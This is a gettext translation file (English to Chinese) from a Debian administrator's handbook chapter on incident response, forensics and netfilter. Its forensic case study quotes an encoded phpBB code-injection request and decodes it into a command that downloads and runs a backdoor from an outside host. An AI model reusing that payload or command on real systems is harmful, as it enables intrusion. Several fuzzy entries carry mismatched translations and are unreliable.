msgstr "在斗争最激烈的时候,管理员往往倾向于在感染电脑上执行许多检查;这通常不是一个好主意。每个命令都有可能已经被更改了并有可能擦除证据片段。检查应该限制在最小范围内(对于网络连接 netstat -tupan,列出所有进程 ps auxf,正在运行程序的信息 ls -alR /proc/[0-9]*),每个已进行过的检查都要仔细记下来。"
msgid "CAUTION Hot analysis"
msgstr "注意 在线分析"
#, fuzzy
#| msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!"
msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!"
msgstr "尽管在运行时分析系统看起来很有诱惑力,特别是在不能接近服务器的时候,但是最好避免这种情况:原因很简单,你不能信任当前安装在被感染系统上的任何程序。被更改的 ps 命令很容易就能隐藏一些进程,或者被更改的 ls 隐藏一些文件,有时候甚至内核也可能被感染!"
msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised."
msgstr "如果仍然需要在线分析,要注意只使用已知的可信任程序。比较好的方法是使用含有简单程序的救援 CD,或者只读的网络共享。然而,如果内核本身被感染,这些措施也无济于事。"
msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled."
msgstr "一旦“动态”元素已经被保存,下一步就是存储整个硬盘镜像。如果文件系统仍在变化,是不可能制作镜像的,就需要以只读方式挂载。最简单的办法是(在运行 sync 后)直接停机并使用救援 CD 重启系统。每个分区使用类似 dd 来拷贝;这些镜像可以发送到其他服务器(可以使用很方便的 nc 工具)。另一种可能更简单:把磁盘从机器里取出来并使用新的替代它,从新格式化,重装系统。"
msgid "Re-installing"
msgstr "重新安装"
msgid "backdoor"
msgstr "后门"
#, fuzzy
#| msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we're rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgstr "如果没有完全重装,不要让服务器恢复在线。如果问题很严重(管理员权限被获得),几乎没有办法可以确保完全清除攻击者留下的东西(特别是 后门-backdoors)。当然,所有最新的安全补丁都要更新,以便移除攻击者所利用的漏洞。理想情况下,分析攻击应针对攻击向量,以便确定是否修复;否则,只能希望漏洞能被某个更新所修复。"
#, fuzzy
#| msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgstr "从新安装远程服务器并不容易;可能要托管公司协助,因为并不是所有公司都提供自动重装系统。注意,不要使用被感染之后的系统备份来安装机器。只有数据应当被恢复,实际使用的软件应该从安装媒介重新安装。"
msgid "Forensic Analysis"
msgstr "法医分析"
msgid "Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the ro,nodev,noexec,noatime options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake."
msgstr "现在服务被恢复,是时候看看感染系统的磁盘镜像,找到攻击向量了。当加载这些镜像是,注意使用 ro,nodev,noexec,noatime 选项来避免改变其内容(包括读取文件的时间戳)或者误运行感染程序。"
msgid "Retracing an attack scenario usually involves looking for everything that was modified and executed:"
msgstr "追踪痕迹通常需要寻找任何被更改和执行的东西:"
msgid ".bash_history files often provide for a very interesting read;"
msgstr ".bash_history 文件可用于查阅;"
msgid "so does listing files that were recently created, modified or accessed;"
msgstr "也会列出最近创建,修改和读取的文件;"
msgid "the strings command helps identifying programs installed by the attacker, by extracting text strings from a binary;"
msgstr "strings 通过从二进制中提取字符串,可辅助用于识别攻击者安装的程序;"
msgid "the log files in /var/log/ often allow reconstructing a chronology of events;"
msgstr "/var/log/ 日志文件可重建事件记录;"
msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete."
msgstr "特殊用途的工具可用于恢复潜在被删除的文件,包括攻击者删除的日志文件。"
#, fuzzy
#| msgid "checksecurity"
msgid "sleuthkit"
msgstr "checksecurity"
#, fuzzy
#| msgid "checksecurity"
msgid "autopsy"
msgstr "checksecurity"
#, fuzzy
#| msgid "checksecurity"
msgid "Kali"
msgstr "checksecurity"
#, fuzzy
#| msgid "checksecurity"
msgid "Grml"
msgstr "checksecurity"
#, fuzzy
#| msgid "checksecurity"
msgid "BlackArchLinux"
msgstr "checksecurity"
#, fuzzy
#| msgid "intrusion detection"
msgid "penetration testing"
msgstr "入侵侦测"
#, fuzzy
#| msgid "IDS"
msgid "forensics"
msgstr "IDS"
#, fuzzy
#| msgid "The sleuthkit package provides a few other tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Autopsy Forensic Browser"
msgid "Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a \"live install\" image and contain many programs for forensic analysis, such as Kali Linux (see ), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see ). "
msgstr "sleuthkit 软件包提供一些其他工具用于文件系统。通过 Autopsy Forensic Browser 图形界面(在 autopsy 软件包中)可以使其操作简单化。Autopsy Forensic Browser"
msgid "Reconstituting the Attack Scenario"
msgstr "重构攻击场景"
msgid "All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings."
msgstr "在分析过程中搜集到的所有元素应该像拼图一片一片组合起来;第一个可疑文件通常和提供突破口的日志文件相关。现实世界中的例子比冗长的理论明了。"
msgid "The following log is an extract from an Apache access.log:"
msgstr "下面的日志文件截取自 Apache access.log:"
msgid ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
" "
msgstr ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
" "
#, fuzzy
#| msgid "This example matches exploitation of an old security vulnerability in phpBB. "
msgid "This example matches exploitation of an old security vulnerability in phpBB. "
msgstr "这个例子正是利用了 phpBB 中的一个老安全漏洞。 "
msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\"). Indeed, a bd file was found in /tmp/. Running strings /mnt/tmp/bd returns, among other strings, PsychoPhobia Backdoor is starting.... This really looks like a backdoor."
msgstr "破译这段 URL 就会明白,攻击者成功运行了一些 PHP 代码,即:system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\")。实际上,在/tmp/会发现一个 bd 文件。运行 strings /mnt/tmp/bd 会发现字符串 PsychoPhobia Backdoor is starting...。这也确实看起来像个后门。"
msgid "Some time later, this access was used to download, install and run an IRC bot that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:"
msgstr "随后,访问权限会被用来下载,安装和运行连接到地下 IRC 网络的 机器人-bot。这个机器人通过 IRC 协议控制,用于下载文件并共享。程序甚至有自己的日志文件:"
msgid ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
msgstr ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
msgid "These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address."
msgstr "跟踪记录显示有两个视频文件被存储在服务器上了。"
msgid "In parallel, the attacker also downloaded a pair of extra files, /tmp/pt and /tmp/loginx. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach."
msgstr "同时,攻击者也下载了一对额外文件,/tmp/pt 和 /tmp/loginx。运行 strings 命令分析文件会发现诸如Shellcode placed at 0x%08lx 和 Now wait for suid shell...。这些看起来像是程序利用本地漏洞获取管理员特权。他们达到目的了吗?本例中,视乎没有,因为在他们开始活动之后,看起来没有文件被修改。"
msgid "In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability."
msgstr "本例中,整个入侵过程被重构。可以推断,攻击者已经能够利用被侵入的系统三天左右;分析的成果在于漏洞已经被识别出来,并且管理员可以确保在下一次安装时确实修复了该漏洞。"
#~ msgid "aide (Debian package)"
#~ msgstr "aide (Debian 软件包)"
#~ msgid "detection, intrusion"
#~ msgstr "侦测,入侵"
#~ msgid ""
#~ "\n"
#~ "# aa-unconfined\n"
#~ "801 /sbin/dhclient not confined\n"
#~ "409 /usr/sbin/NetworkManager not confined\n"
#~ "411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)'\n"
#~ "429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)'\n"
#~ "516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)'\n"
#~ "538 /usr/sbin/zebra not confined\n"
#~ "591 /usr/sbin/named not confined\n"
#~ "847 /usr/sbin/mysqld not confined\n"
#~ "849 /usr/sbin/sshd not confined\n"
#~ "1013 /usr/sbin/dhclient (/sbin/dhclient) not confined\n"
#~ "1276 /usr/sbin/apache2 not confined\n"
#~ "1322 /usr/sbin/apache2 not confined\n"
#~ "1323 /usr/sbin/apache2 not confined\n"
#~ "1324 /usr/sbin/apache2 not confined\n"
#~ "1325 /usr/sbin/apache2 not confined\n"
#~ "1327 /usr/sbin/apache2 not confined\n"
#~ "1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)'\n"
#~ "2132 /usr/sbin/exim4 not confined\n"
#~ "12865 /usr/bin/python3.7 (/usr/bin/python3) not confined\n"
#~ "12873 /usr/bin/python3.7 (/usr/bin/python3) not confined\n"
#~ " "
#~ msgstr ""
#~ "\n"
#~ "# aa-unconfined\n"
#~ "801 /sbin/dhclient not confined\n"
#~ "409 /usr/sbin/NetworkManager not confined\n"
#~ "411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)'\n"
#~ "429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)'\n"
#~ "516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)'\n"
#~ "538 /usr/sbin/zebra not confined\n"
#~ "591 /usr/sbin/named not confined\n"
#~ "847 /usr/sbin/mysqld not confined\n"
#~ "849 /usr/sbin/sshd not confined\n"
#~ "1013 /usr/sbin/dhclient (/sbin/dhclient) not confined\n"
#~ "1276 /usr/sbin/apache2 not confined\n"
#~ "1322 /usr/sbin/apache2 not confined\n"
#~ "1323 /usr/sbin/apache2 not confined\n"
#~ "1324 /usr/sbin/apache2 not confined\n"
#~ "1325 /usr/sbin/apache2 not confined\n"
#~ "1327 /usr/sbin/apache2 not confined\n"
#~ "1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)'\n"
#~ "2132 /usr/sbin/exim4 not confined\n"
#~ "12865 /usr/bin/python3.7 (/usr/bin/python3) not confined\n"
#~ "12873 /usr/bin/python3.7 (/usr/bin/python3) not confined\n"
#~ " "
#~ msgid ""
#~ "\n"
#~ "# Last Modified: Fri Jul 5 00:51:02 2019\n"
#~ "#include <tunables/global>\n"
#~ "\n"
#~ "/usr/sbin/dhclient {\n"
#~ " #include <abstractions/base>\n"
#~ " #include <abstractions/nameservice>\n"
#~ "\n"
#~ " capability net_bind_service,\n"
#~ " capability net_raw,\n"
#~ "\n"
#~ " /bin/dash r,\n"
#~ " /etc/dhcp/* r,\n"
#~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#~ " /etc/resolv.conf.* w,\n"
#~ " /etc/samba/dhcp.conf.* w,\n"
#~ " /proc/*/net/dev r,\n"
#~ " /proc/filesystems r,\n"
#~ " /run/dhclient*.pid w,\n"
#~ " /sbin/dhclient mr,\n"
#~ " /sbin/dhclient-script rCx,\n"
#~ " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
#~ " /var/lib/NetworkManager/* r,\n"
#~ " /var/lib/NetworkManager/*.lease rw,\n"
#~ " /var/lib/dhcp/*.leases rw,\n"
#~ "\n"
#~ " owner /etc/** mrwk,\n"
#~ " owner /var/** mrwk,\n"
#~ " owner /{,var/}run/** mrwk,\n"
#~ "}\n"
#~ " "
#~ msgstr ""
#~ "\n"
#~ "# Last Modified: Fri Jul 5 00:51:02 2019\n"
#~ "#include <tunables/global>\n"
#~ "\n"
#~ "/usr/sbin/dhclient {\n"
#~ " #include <abstractions/base>\n"
#~ " #include <abstractions/nameservice>\n"
#~ "\n"
#~ " capability net_bind_service,\n"
#~ " capability net_raw,\n"
#~ "\n"
#~ " /bin/dash r,\n"
#~ " /etc/dhcp/* r,\n"
#~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#~ " /etc/resolv.conf.* w,\n"
#~ " /etc/samba/dhcp.conf.* w,\n"
#~ " /proc/*/net/dev r,\n"
#~ " /proc/filesystems r,\n"
#~ " /run/dhclient*.pid w,\n"
#~ " /sbin/dhclient mr,\n"
#~ " /sbin/dhclient-script rCx,\n"
#~ " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
#~ " /var/lib/NetworkManager/* r,\n"
#~ " /var/lib/NetworkManager/*.lease rw,\n"
#~ " /var/lib/dhcp/*.leases rw,\n"
#~ "\n"
#~ " owner /etc/** mrwk,\n"
#~ " owner /var/** mrwk,\n"
#~ " owner /{,var/}run/** mrwk,\n"
#~ "}\n"
#~ " "
#, fuzzy
#~| msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. "
#~ msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. "
#~ msgstr "应该看一看 Debian 中专门的 wiki 页面和 Russell Coker 的博客,他是 Debian 上致力于 SELinux 最活跃的开发者。 "
#~ msgid "mod-security"
#~ msgstr "mod-security"
#, fuzzy
#~| msgid "denial of service"
#~ msgid "Autopsy Forensic Browser"
#~ msgstr "拒绝服务"
#, fuzzy
#~| msgid "packet filter"
#~ msgid "The Sleuth Kit"
#~ msgstr "包过滤"
#~ msgid "The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them."
#~ msgstr "缺乏标准配置(之前“过程,而非产品”的格言)就缺少交钥匙解决方案。然而,有些工具使配置 netfilter 防火墙更加简单,使用图形显示过滤规则。fwbuilder 无疑是其中的佼佼者。"
#~ msgid "netfilter"
#~ msgstr "netfilter"
#~ msgid "ip6tables"
#~ msgstr "ip6tables"
#~ msgid "netfilter uses four distinct tables which store rules regulating three kinds of operations on packets:"
#~ msgstr "netfilter 使用四个截然不同的表存储规则,来规定对数据包的三种操作:"
#~ msgid "filter concerns filtering rules (accepting, refusing or ignoring a packet);"
#~ msgstr "filter 关注过滤规则(接受,拒绝或者忽略数据包);"
#~ msgid "nat concerns translation of source or destination addresses and ports of packages;"
#~ msgstr "nat 关注转化源地址或者目的地址和数据包端口;"
#~ msgid "mangle concerns other changes to the IP packets (including the ToS — Type of Service — field and options);"
#~ msgstr "mangle 关注对 IP 数据包的其他变化(包含 ToS - 服务类型 -区段和选项);"
#~ msgid "raw allows other manual modifications on packets before they reach the connection tracking system."
#~ msgstr "raw 允许在到达追踪系统之前手动更改数据包。"
#~ msgid "Each table contains lists of rules called chains. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly)."
#~ msgstr "每个表都包含称为链(chains)的规则列表。防火墙使用标准链处理预定义环境下的数据包。管理员可以创建其他链,该链只有在被标准链引用(直接或间接)时才会起作用。"
#~ msgid "The filter table has three standard chains:"
#~ msgstr "过滤 表有三个标准链:"
#~ msgid "INPUT: concerns packets whose destination is the firewall itself;"
#~ msgstr "输入:关注目的地是防火墙自身的数据包;"
#~ msgid "OUTPUT: concerns packets emitted by the firewall;"
#~ msgstr "输出:关注防火墙发出的数据包;"
#~ msgid "FORWARD: concerns packets transiting through the firewall (which is neither their source nor their destination)."
#~ msgstr "转发:关注通过防火墙的数据包(既不是源头也不是目的地)。"
#~ msgid "The nat table also has three standard chains:"
#~ msgstr "nat 表也有三个标准链:"
#~ msgid "PREROUTING: to modify packets as soon as they arrive;"
#~ msgstr "预先路由:一旦数据包到达就修改;"
#~ msgid "POSTROUTING: to modify packets when they are ready to go on their way;"
#~ msgstr "后路由:在准备继续上路时修改数据包;"
#~ msgid "OUTPUT: to modify packets generated by the firewall itself."
#~ msgstr "输出:修改防火墙自身产生的数据包。"
#~ msgid "How netfilter chains are called"
#~ msgstr "netfilter 中的链是如何被调用的"
#~ msgid "Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the -j option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):"
#~ msgstr "每个链是一个规则列表;每个规则是条件集合以及符合条件时要采取的行动。当处理数据包时,防火墙逐一扫描链;当碰到规则条件时,“跳(jumps)”到(因此在命令中使用 -j 选项)规定的行为并继续处理。大多数常用的行为都已经标准化,并有专门操作。使用标准操作会中断对链的处理过程,此时数据包的去向未知(除了下面提到的例外):"
#~ msgid "ACCEPT: allow the packet to go on its way;"
#~ msgstr "接受(ACCEPT):允许数据包继续往下走;"
#~ msgid "REJECT: reject the packet with an ICMP error packet (the --reject-with type option to iptables allows selecting the type of error);"
#~ msgstr "拒绝(REJECT):通过 ICMP 错误数据包拒绝(命令 iptables 的--reject-with type 选项可以设定错误类型);"
#~ msgid "DROP: delete (ignore) the packet;"
#~ msgstr "丢弃(DROP):删除(忽略)数据包;"
#~ msgid "LOG: log (via syslogd) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule;"
#~ msgstr "记录(LOG):记录(通过 syslogd)描述数据包的信息;注意该行为不会中断处理,并且会继续执行链中断的下一条规则,这就为什么记录拒绝数据包既需要记录规则,也需要拒绝/丢弃规则;"
#~ msgid "ULOG: log a message via ulogd, which can be better adapted and more efficient than syslogd for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain;"
#~ msgstr "ULOG:通过 ulogd 记录信息,在处理大量信息时,它比 syslogd 更合适有效;注意该规则,类似 LOG,也会返回到调用链的下一条规则;"
#~ msgid "chain_name: jump to the given chain and evaluate its rules;"
#~ msgstr "链名(chain_name):跳转到指定链并处理其规则;"
#~ msgid "RETURN: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the -P option to iptables) is executed instead;"
#~ msgstr "返回:中断当前链的处理过程,并返回调用链;如果当前链是一个标准链,并且没有调用链,默认(有iptables中 -P 定义)就会执行该链;"
#~ msgid "SNAT (only in the nat table): apply Source NAT (extra options describe the exact changes to apply);"
#~ msgstr "DNAT(仅存在于 nat 表中,即只在 IPv4 中):申请 目的地 NAT(额外选项描述而外的应用改变);"
#~ msgid "DNAT (only in the nat table): apply Destination NAT (extra options describe the exact changes to apply);"
#~ msgstr "DNAT(仅存在于 nat 表中,即只在 IPv4 中):应用 目的地 NAT(额外的选项描述应用的精细改变);"
#~ msgid "MASQUERADE (only in the nat table): apply masquerading (a special case of Source NAT);"
#~ msgstr "MASQUERADE(仅存在于 nat 表中,即只在 IPv4 中):申请 伪装( 源 NAT的一个特例);"
#, fuzzy
#~ msgid "REDIRECT (only in the nat table): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy."
#~ msgstr "重定向(REDIRECT)(仅存在于 nat 表中,即只在 IPv4 中):将数据包重定向到防火墙的指定端口;它可以用来设置透明网络代理,而不需要在客户端进行配置,客户端认为它在连接至接受者,而实际上它是通过代理通信。"
#~ msgid "Other actions, particularly those concerning the mangle table, are outside the scope of this text. The iptables 8 and ip6tables 8 have a comprehensive list."
#~ msgstr "其他规则,特别是和 mangle 表相关的,不在本章的范围。 iptables 8 和 ip6tables 8 有全面的清单介绍。"
#~ msgid "The iptables and ip6tables commands allow manipulating tables, chains and rules. Their -t table option indicates which table to operate on (by default, filter)."
#~ msgstr "iptables 和 ip6tables 命令允许操作表格,链和规则。-t table 选项指明要操作哪个表(默认,filter)。"
#~ msgid "Commands"
#~ msgstr "命令"
#, fuzzy
#~ msgid "The -N chain option creates a new chain. The -X chain deletes an empty and unused chain. The -A chain rule adds a rule at the end of the given chain. The -I chain rule_num rule option inserts a rule before the rule number rule_num. The -D chain rule_num (or -D chain rule) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The -F chain option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The -L chain option lists the rules in the chain. Finally, the -P chain action option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy."
#~ msgstr "-N chain 选项创建一个新链。-X chain 删除不使用的空链。-A chainrule 在指定链的末尾添加规则。-I chain rule_numrule 选项在规则 rule_num 前插入一条规则。-D chainrule_num(或者-D chainrule)选项用来删除链中的一条规则;第一个语法根据号码指明要删除的规则,后者通过内容。-F chain 选项冲掉一个链(删除所有规则);如果没有指明规则,则删除表中的所有规则。-L chain 选项列出表中的规则。-P chainaction 选项对指定的链定义默认操作,或“策略”;注意只有标准链可以设置该规则。"
#~ msgid "Rules"
#~ msgstr "规则"
#, fuzzy
#~ msgid "Each rule is expressed as conditions -j action action_options. If several conditions are described in the same rule, then the criterion is the conjunction (logical and) of the conditions, which is at least as restrictive as each individual condition."
#~ msgstr "每个规则可表示为:conditions -j actionaction_options。如果同一规则中描述了几个条件,则判断条件是它们的结合(逻辑上的与),比每一个单独的条件限制要严格。"
#~ msgid "The -p protocol condition matches the protocol field of the IP packet. The most common values are tcp, udp, icmp, and icmpv6. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the -p option and it can be applied to all other conditions too."
#~ msgstr "-p protocol 条件匹配 IP 数据包的协议区段。最常见的是 tcp,udp,icmp,和 icmpv6。条件之前加上感叹号表示求反,就变成了“除了指定协议之外的任何数据包”。这种求反机制不仅仅适用于 -p 选项,也可用于其它所有条件。"
#~ msgid "The -s address or -s network/mask condition matches the source address of the packet. Correspondingly, -d address or -d network/mask matches the destination address."
#~ msgstr "-s address 或 -s network/mask 条件匹配数据包的源地址。相应地,-d address 或 -d network/mask 匹配目的地地址。"
#~ msgid "The -i interface condition selects packets coming from the given network interface. -o interface selects packets going out on a specific interface."
